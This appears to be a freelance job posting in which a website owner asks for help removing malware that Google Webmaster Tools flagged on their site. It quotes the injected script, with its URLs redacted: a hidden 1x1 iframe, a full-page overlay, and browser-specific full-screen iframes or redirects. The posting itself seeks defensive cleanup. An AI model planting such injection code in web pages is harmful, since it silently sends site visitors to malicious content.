Clean infected codes/virus project

Unfortunately, My Google Webmaster tool has discovered harmful code on my site. Some of the infected pages are listed below: Problematic URLs on [login to view URL] Last checked /w/[login to view URL] - Details 5/21/10 /w/[login to view URL] - Details 5/22/10 /w/[login to view URL] - Details 5/13/10 /w/[login to view URL] - Details *** URL: [login to view URL] Suspected injected code: script> [login to view URL]('<iframe src="[login to view URL] tml" width="1" height="1"></iframe>'); [login to view URL]('<div style="position: absolute; top: 0; left : 0; width: 100%; height: 100%; background-color: #FFFFFF; padding: 0px"></div>'); if ([login to view URL]("Mac")!=-1) [login to view URL] ="[login to view URL]"; else if ([login to view URL]("Firefox")!=-1) documen [login to view URL]('<div style="position: absolute; top: 0; left: 0; wi dth: 100%; height: 100%; background-color: #FFFFFF; paddin g: 0px"><iframe src="[login to view URL] F%2FRlsijZFahqJ51x16YZJGdkpiUk5U%3D" width="100%" height="10 0%"></iframe></div>'); else if ([login to view URL]("Chrome")!=-1) document .write('<div style="position: absolute; top: 0; left: 0; wid th: 100%; height: 100%; background-color: #FFFFFF; padding : 0px"><iframe src="[login to view URL] %2FRlsijZFahqJ51x16YZJGdkpiUk5U%3D" width="100%" height="100 %"></iframe></div>'); else window.location="http://www ***** Google is providing these pages as a starting point in your investigation and clean-up process. Please also use [login to view URL]'s Guide to Cleaning and Securing our Website to identify, address, and prevent any malware activity on our site. Important: Simply removing harmful code from individual pages is not enough to fix the problem; you must also ensure that you identify and address the underlying vulnerabilities that allowed our site to be contaminated. Any payment will not be paid until you have done this project successfully.